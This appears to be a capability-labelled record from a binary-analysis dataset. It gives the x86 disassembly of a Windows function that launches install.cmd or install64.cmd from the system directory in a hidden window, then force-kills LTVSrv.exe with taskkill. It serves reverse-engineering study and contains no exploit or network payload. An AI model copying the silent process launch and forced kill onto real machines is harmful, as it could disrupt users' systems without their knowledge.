Function at 0x41a570
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4473b0
mov eax, dword fs:[0]
push eax
sub esp, 0x74
push ebx
push esi
push edi
mov eax, dword [0x45c070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x45d48c]
mov edx, dword [eax + 0xc]
mov ecx, 0x45d48c
call edx
add eax, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov eax, dword [0x45d48c]
mov edx, dword [eax + 0xc]
mov ecx, 0x45d48c
call edx
lea esi, [eax + 0x10]
mov dword [ebp - 0x18], esi
mov byte [ebp - 4], 1
mov eax, dword [0x45d48c]
mov edx, dword [eax + 0xc]
mov ecx, 0x45d48c
call edx
add eax, 0x10
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 2
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
mov edi, 0x104
sub eax, edi
or eax, ecx
jge 0x41a609
mov ecx, edi
lea eax, [ebp - 0x18]
call fcn.00403660
mov esi, dword [ebp - 0x18]
cmp dword [esi - 8], edi
jge 0x41a618
push 0x80070057
call fcn.004036b0
push edi
xor eax, eax
mov dword [esi - 0xc], edi
push esi
mov word [esi + 0x208], ax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x41a631
sub eax, edx
sar eax, 1
js 0x41a60e
cmp eax, dword [esi - 8]
jg 0x41a60e
mov dword [esi - 0xc], eax
xor ecx, ecx
mov word [esi + eax*2], cx
mov eax, str.SysWOW64
cmp dword [0x45f3e8], ecx
jne 0x41a662
mov eax, str.System32
push eax
push esi
push str._s_sLtprx
lea edi, [ebp - 0x14]
call fcn.00403fb0
add esp, 0xc
cmp dword [0x45f3e8], 0
mov edi, str.install64.cmd
jne 0x41a687
mov edi, str.install.cmd
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x28]
push eax
mov ebx, 0x451824
call fcn.00406e80
push eax
lea ecx, [ebp - 0x24]
push ecx
mov ebx, 0x45288c
mov byte [ebp - 4], 3
call fcn.00406e80
push eax
lea edx, [ebp - 0x20]
push edx
mov ebx, edi
mov byte [ebp - 4], 4
call fcn.00406e80
add esp, 0x18
mov byte [ebp - 4], 5
mov ecx, dword [eax]
mov ebx, dword [ebp - 0x10]
lea eax, [ecx - 0x10]
lea edi, [ebx - 0x10]
cmp eax, edi
je 0x41a71a
cmp dword [edi + 0xc], 0
lea ebx, [edi + 0xc]
jl 0x41a70a
mov edx, dword [eax]
cmp edx, dword [edi]
jne 0x41a70a
call fcn.00403230
mov dword [ebp - 0x1c], eax
or eax, 0xffffffff
lock xadd dword [ebx], eax
dec eax
test eax, eax
jg 0x41a6ff
mov ecx, dword [edi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push edi
call eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x10
mov dword [ebp - 0x10], ecx
jmp 0x41a717
mov ebx, dword [ecx - 0xc]
push ecx
lea edx, [ebp - 0x10]
push edx
call fcn.004036d0
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a73d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a760
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a783
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x40
lea ecx, [ebp - 0x7c]
push 0
push ecx
mov dword [ebp - 0x80], 0x44
call fcn.004308f0
xor edx, edx
add esp, 0xc
mov word [ebp - 0x50], dx
cmp dword [ebx - 4], 1
jle 0x41a7b6
mov eax, dword [ebx - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.00403590
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x14]
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x80]
push eax
push edi
push 0
push 0x8000020
push 0
push 0
push 0
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x41a8d8
mov ecx, dword [ebp - 0x38]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push ecx
call edi
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.taskkill__F__T__IM_LTVSrv.exe
lea edx, [ebp - 0x10]
push edx
mov ebx, 0x1d
call fcn.004036d0
mov ebx, dword [ebp - 0x10]
cmp dword [ebx - 4], 1
jle 0x41a825
mov eax, dword [ebx - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.00403590
mov ebx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x80]
push eax
push ecx
push 0
push 0x8000020
push 0
push 0
push 0
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x41a85e
mov edx, dword [ebp - 0x38]
push 0xffffffffffffffff
push edx
call edi
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebx - 0x10]
mov byte [ebp - 4], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a87e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 0xfffffff0
mov byte [ebp - 4], 0
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a89e
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a8c4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
add ebx, 0xfffffff0
mov byte [ebp - 4], 1
lea ecx, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a8f8
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
add esi, 0xfffffff0
mov byte [ebp - 4], 0
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41a918
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
lea eax, [edi - 0x10]
mov dword [ebp - 4], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a93b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret